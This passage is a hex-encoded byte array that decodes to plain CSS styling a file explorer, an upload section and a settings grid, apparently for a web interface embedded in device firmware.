0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, - 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, - 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, - 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x3A, 0x68, 0x61, 0x73, 0x28, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x29, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x5C, 0x32, 0x35, 0x42, 0x36, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, - 0x69, 0x67, 0x6E, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, - 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, - 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, - 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, - 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3A, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0xF0, 0x9F, 0x93, 0x81, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x3A, - 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0xF0, 0x9F, 0x93, 0x84, 0x27, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x61, 0x63, 0x74, 0x69, 0x6F, - 0x6E, 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x67, 0x61, 0x70, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, - 0x2A, 0x20, 0x55, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, - 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, - 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, - 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, - 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, - 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, - 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3E, 0x20, 0x3A, 0x66, 0x69, 0x72, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, - 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3E, 0x20, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x68, 0x33, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, - 0x78, 0x74, 0x2D, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, - 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, - 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, - 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x5D, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, - 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, - 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x67, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, - 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, - 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x2C, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, - 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, 0x6F, 0x61, - 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x5D, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, - 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x30, 0x30, 0x30, - 0x30, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, 0x74, 0x6C, 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x35, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x47, 0x72, 0x69, 0x64, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x67, 0x72, 0x69, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, - 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x3A, 0x20, 0x77, 0x72, 0x61, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x67, 0x61, 0x70, 0x3A, 0x20, 0x32, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, - 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3A, 0x20, 0x31, 0x20, - 0x31, 0x20, 0x63, 0x61, 0x6C, 0x63, 0x28, 0x35, 0x30, 0x25, 0x20, 0x2D, 0x20, 0x32, 0x30, 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, - 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, - 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3E, 0x20, 0x3A, 0x66, 0x69, 0x72, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3E, 0x20, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x6D, 0x65, 0x64, 0x69, 0x61, 0x20, 0x28, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x37, 0x36, 0x38, 0x70, 0x78, - 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 